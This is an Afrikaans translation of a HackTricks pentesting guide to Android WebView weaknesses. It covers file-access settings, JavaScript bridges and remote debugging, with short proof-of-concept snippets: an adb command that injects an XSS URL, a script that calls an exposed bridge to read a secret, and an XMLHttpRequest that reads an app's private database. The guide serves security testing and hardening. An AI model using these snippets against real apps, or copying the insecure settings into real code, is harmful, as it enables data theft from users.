9.3 KiB
Webview Aanvalle
Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hakwerktruuks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
Gids oor WebView Konfigurasies en Sekuriteit
Oorsig van WebView Swakhede
'n Kritiese aspek van Android-ontwikkeling behels die korrekte hantering van WebViews. Hierdie gids beklemtoon sleutelkonfigurasies en sekuriteitspraktyke om risiko's wat verband hou met WebView-gebruik te verminder.
Lêertoegang in WebViews
Standaard laat WebViews lêertoegang toe. Hierdie funksionaliteit word beheer deur die setAllowFileAccess()
metode, beskikbaar sedert Android API-vlak 3 (Cupcake 1.5). Aansoeke met die android.permission.READ_EXTERNAL_STORAGE toestemming kan lêers vanaf eksterne stoorplekke lees deur 'n lêer-URL-skema (file://path/to/file
) te gebruik.
Verouderde Funksies: Universele en Lêertoegang vanaf URL's
- Universele Toegang vanaf Lêer-URL's: Hierdie verouderde funksie het kruis-oorsprongversoeke vanaf lêer-URL's toegelaat, wat 'n beduidende sekuriteitsrisiko vir moontlike XSS-aanvalle inhou. Die verstekinstelling is gedeaktiveer (
false
) vir programme wat Android Jelly Bean en nuwer teiken. - Om hierdie instelling te kontroleer, gebruik
getAllowUniversalAccessFromFileURLs()
. - Om hierdie instelling te wysig, gebruik
setAllowUniversalAccessFromFileURLs(boolean)
. - Lêertoegang vanaf Lêer-URL's: Hierdie funksie, ook verouderd, het toegang tot inhoud vanaf ander lêerskema-URL's beheer. Soos universele toegang, is die verstekinstelling gedeaktiveer vir verbeterde sekuriteit.
- Gebruik
getAllowFileAccessFromFileURLs()
om te kontroleer ensetAllowFileAccessFromFileURLs(boolean)
om in te stel.
Veilige Lêerlaai
Vir die deaktivering van lêersisteemtoegang terwyl steeds toegang tot bates en bronne, word die setAllowFileAccess()
metode gebruik. Met Android R en hoër is die verstekinstelling false
.
- Kontroleer met
getAllowFileAccess()
. - Aktiveer of deaktiveer met
setAllowFileAccess(boolean)
.
WebViewAssetLoader
Die WebViewAssetLoader klas is die moderne benadering vir die laai van plaaslike lêers. Dit gebruik http(s)-URL's vir die toegang tot plaaslike bates en bronne, in ooreenstemming met die Same-Origin-beleid, wat CORS-bestuur fasiliteer.
loadUrl
Dit is 'n algemene funksie wat gebruik word om willekeurige URL's in 'n webviwe te laai:
webview.loadUrl("<url here>")
JavaScript en Intent Skema Hantering
- JavaScript: Standaard gedeaktiveer in WebViews, dit kan geaktiveer word via
setJavaScriptEnabled()
. Voorsoorsigtigheid word aanbeveel aangesien die aktivering van JavaScript sonder behoorlike beskerming sekuriteitskwessies kan veroorsaak. - Intent Skema: WebViews kan die
intent
skema hanteer, wat moontlik kan lei tot uitbuitings as dit nie sorgvuldig bestuur word nie. 'n Voorbeeld van 'n kwesbaarheid het 'n blootgestelde WebView parameter "support_url" ingesluit wat uitgebuit kon word om kruiswebwerfinskripsie (XSS) aanvalle uit te voer.
Uitbuitingsvoorbeeld deur adb te gebruik:
{% code overflow="wrap" %}
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
{% endcode %}
Javascript-brug
'n Funksie wat deur Android voorsien word, maak dit moontlik vir JavaScript in 'n WebView om natiewe Android-app-funksies aan te roep. Dit word bereik deur die gebruik van die addJavascriptInterface
-metode, wat JavaScript integreer met die natiewe Android-funksies, wat genoem word as 'n WebView JavaScript-brug. Voorsoorsigtigheid word aanbeveel aangesien hierdie metode alle bladsye binne die WebView toelaat om toegang te verkry tot die geregistreerde JavaScript-brug-objek, wat 'n veiligheidsrisiko inhou as sensitiewe inligting deur hierdie brûe blootgestel word.
- Uiterste versigtigheid is nodig vir programme wat Android-weergawes onder 4.2 teiken weens 'n kwesbaarheid wat afstandbeheer deur bose JavaScript moontlik maak deur refleksie te benut.
Implementering van 'n JavaScript-brug
- JavaScript-brûe kan met natiewe kode interaksie hê, soos in die voorbeelde waar 'n klasmetode aan JavaScript blootgestel word:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript-brug is geaktiveer deur 'n koppelvlak by die WebView toe te voeg:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
- Potensiële uitbuiting deur middel van JavaScript, byvoorbeeld deur 'n XSS-aanval, maak dit moontlik om blootgestelde Java-metodes aan te roep:
<script>alert(javascriptBridge.getSecret());</script>
- Om risiko's te verminder, beperk JavaScript-bruggebruik tot kode wat saam met die APK gestuur word en voorkom die laai van JavaScript vanaf afgeleë bronne. Stel vir ouer toestelle die minimum API-vlak op 17.
Refleksie-gebaseerde Afstandskode-uitvoering (RCE)
- 'n Gedokumenteerde metode maak dit moontlik om RCE te bereik deur refleksie deur 'n spesifieke lading uit te voer. Die
@JavascriptInterface
-annotasie voorkom egter ongemagtigde metode-toegang en beperk die aanvalsoppervlak.
Afstandsondersoek
- Afstandsondersoek is moontlik met Chrome Developer Tools, wat interaksie en willekeurige JavaScript-uitvoering binne die WebView-inhoud moontlik maak.
Afstandsondersoek aktiveer
- Afstandsondersoek kan geaktiveer word vir alle WebViews binne 'n toepassing deur:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- Om voorwaardelik die foutopsporing te aktiveer gebaseer op die toepassing se toestand van foutopsporing:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Uitlek van willekeurige lêers
- Wys die uitlek van willekeurige lêers deur middel van 'n XMLHttpRequest:
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);
Verwysings
- https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html
- https://github.com/authenticationfailure/WheresMyBrowser.Android
- https://developer.android.com/reference/android/webkit/WebView
- https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1
- https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I
Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PRs in te dien by die HackTricks en HackTricks Cloud github-opslag.